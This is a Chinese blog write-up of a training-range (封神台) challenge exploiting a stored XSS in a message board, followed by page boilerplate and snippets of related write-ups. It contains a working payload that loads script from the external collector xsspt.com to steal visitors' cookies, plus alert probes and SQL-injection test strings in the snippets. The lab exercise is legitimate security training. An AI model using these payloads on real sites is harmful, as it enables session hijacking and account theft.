封神台-第四章 为了更多的权限！留言板

最新推荐文章于 2022-10-19 00:11:10 发布
最新推荐文章于 2022-10-19 00:11:10 发布
阅读量1.1k 收藏 3
点赞数
分类专栏： # 封神台 文章标签： 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ploto_cs/article/details/108822951
版权

封神台-第四章 为了更多的权限！留言板

1.进入留言的页面，测试弹窗
根据提示为存储型XSS
测试语句为
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以看到成功弹窗

2.搭建xss平台
随意注册一个账户
https://xsspt.com/index.php?do=login
在这里插入图片描述
在这里插入图片描述

配置前两个必须选
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

复制语句：

</textarea>'"><script src=https://xsspt.com/ZIVFnr?1601173210></script>

3.测试新语句
在这里插入图片描述

4.在xss平台看截取到的信息

在这里插入图片描述
在这里插入图片描述
网络信息安全-ploto

ploto_cs
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
封神台 第三章 为了更多的权限，留言板！（Cookie）
m0_65712192的博客
10-17 628
封神台 第三章 为了更多的权限，留言板！（Cookie）
第三章：为了更多的权限！留言板！
m0_51195235的博客
12-26 637
第三章：为了更多的权限！留言板！
封神台----尤里的复仇I-第四章：为了更多的权限！留言板！！
正在学习的路上...
07-18 1090
本章主要是xss平台使用，很简单。 自己搭建xss平台或者网上随便找个平台注册使用。 新建个项目，建好后，将下面代码复制到留言板里。 提交，即可。去XSS平台接收消息。 提交，完成。 ...
为了更多的权限，留言板
weixin_55129870的博客
05-11 394
URL：封神台 - 掌控安全在线演练靶场，是一个在线黑客攻防演练平台。 (zkaq.cn) 测试是否存在xss漏洞 <script>alert(1111)</script> 成功弹窗，存在xss，由tips可知这题是一道存储型XSS偷取cookie的题目，既是存储型偷取cookie，就需要xss平台，找一个网上的xss平台，这里使用：XSS平台-XSS安全测试平台 （当管理员查看留言页面时触发xss,将管理员的cookie发送到该平台上面，从而实现利用管理员...
第三章：为了更多的权限 留言板
m0_48294281的博客
12-31 1382
靶场学习心得，欢迎大家交流！
封神台-杂项8：奇怪的短信
最新发布
03-11
随波逐流工具，一个非常好用的解码工具
封神演义--------------------.pdf
03-27
封神演义
C4D零基础到三维封神课程-视频教程网盘链接提取码下载 .txt
03-18
C4D修神记：零基础到三维封神,全球MotionAward评委、MOMENTOR创始人曾潇霖携手翼狐网主编谭天。行业名师帮你打基础，拒绝纸上谈兵。避免入门就入土，整套课程用16小时对5大具体案例进行剖析，让你省时省力轻松学会C4...
英雄无敌HoMM3-死亡阴影SOD-神之苏醒WOG-封神NABI-MOD等相关文件-附件资源
03-05
英雄无敌HoMM3-死亡阴影SOD-神之苏醒WOG-封神NABI-MOD等相关文件-附件资源
封神台 第三章：为了更多的权限！留言板！【配套课时：cookie伪造目标权限 实战演练】
06-14 2561
题目 Tips: 1、存储型Xss 2、flag在cookie里，格式为zkz{..}，xss bot 每10秒访问一次页面 3、自建Xss平台源码：http://www.zkaq.org/?t/99.html 经过一番操作，尤里虽然进入到后台，窃窃自喜的他不满足于此，作为黑阔他要挑战曾经的自己，他要攻克之前失手的网站！ 他重新浏览之前的网站，这时他突然发现了一个留言板功能。而留言板管理员是每天都会去查阅的。 尤里开始动手…… 1.进入留言的页面，测试弹窗 发现弹框显示1，注入点为主题 ...
封神台靶场-第四章
Mr_helloword的博客
07-12 1443
第四章：为了更多的权限！ Tips: 1、存储型Xss 2、flag在cookie里，格式为zkz{…}，xss bot 每10秒访问一次页面 3、自建Xss平台源码：http://www.zkaq.org/?t/99.html 登陆后根据提示要进行存储型xss注入。 这里我们可以借助一个xss平台xss平台没有的可以在这里注册 创建项目 2.选择模块我这里选择自己想要的模块 3.复制如下代码到可能存在注入的地方 4.随便填入留言板提交 5.回到xss平台发现收到xss注入反馈 fl
封神台-第四章：进击！拿到Web最高权限！【配套课时：绕过防护上传木马 实战演练】
08-04 2087
题目： Tips: 1、通过修改Cookie登录后台（没用重打） 2、上传SHELL！3、Flag在web根目录（flag.php） 3.上传图片时建议上传小文件，我建议用QQ表情 尤里通过XSS终于得到了管理员Cookie，在修改了cookie后尤里直接绕过了登录密码，看到了后台功能！ 接下来要做的，就是找一个上传点，上传自己的shell了！ ...
封神台 第四章：进击！拿到Web最高权限(绕过防护上传木马)
m0_65712192的博客
10-19 1689
封神台 第四章：进击！拿到Web最高权限(绕过防护上传木马)
获取目标服务器c盘下flag文件信息,公开课基础演练靶场 第六章 webshell控制目标详细解题思路...
weixin_42442653的博客
08-06 1092
我看见第六章的传送门上写着大大的两个字--提权！！在上一章中，我已经通过上传一句话马，用菜刀连接了上传的这个文件，从而得到了后台的部分权限。但是我试过，现在拥有的权限，还不能打开c盘中的文件。而C盘中的文件往往都是比较重要的，因此，我需要提升自己的权限，如下图。进入传送门后，发现这一章的网站仍然是之前看到过的那个。而这个网站的管理员cookie已经被我拿到，并且已经成功上传一句话马至服务器了，如下...
封神台 -尤里的复仇Ⅰ write up 夜车星繁的博客
夜车星繁的博客
04-09 2703
无意间知道了这个靶场，可作为复习用，就将它安排进了复习计划里，在此篇博客写下记录留作未来回顾用。因为有了点基础在此写下payload只保证自己可以看得懂。 第一章：为了女神小芳！ ?id=1 and 1=1 ------ 显示正常 ?id=1 and 1=2 ------ 不显示 ?id=1 order by 2 ------查询了两列 ?id=100 select 1...
ctf实战 封神台的靶场 第四关通关记录
weixin_30437847的博客
05-28 1179
发现留言板功能，顺手试下反射型xss代码，结果成功的弹窗了 网上的xss平台:http://xsspt.com,需要自己去注册和登录，反正账号密码知道就行了，邮箱反正不验证不建议写真实的。 我们先建立项目，名称什么乱选都行，就是选择模块的时候记得选取这两个 然后你可以看到一叠代码，这个就是两个模块中的XSS Payload。把生成的存储型xss链接放入留言板提交成功后到xss平台等查...
封神台——Cookie伪造目标权限（存储型XSS）
Zichel77的博客
07-04 971
点击传送门看到的是一个留言板 我们首先要判断是否存在XSS 于是输入一串JS代码 看是否会弹出一个内容为'zkaq'的弹窗 出现了，说明存在XSS漏洞 关于XSS漏洞的科普如下 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过用户本地浏览器执行的，所以xss漏洞关键就是寻找参数未过滤的输
封神台-尤里的复仇Ⅰ
weixin_44522540的博客
02-20 761
封神台-尤里的复仇Ⅰ 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加 例如：第一章 Python 机器学习入门之pandas的使用 提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录封神台-尤里的复仇Ⅰ前言一、为了女神小芳二、1.引入库2.读入数据三、四、为了更多的权限！留言板！五、六、七、八、九、总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值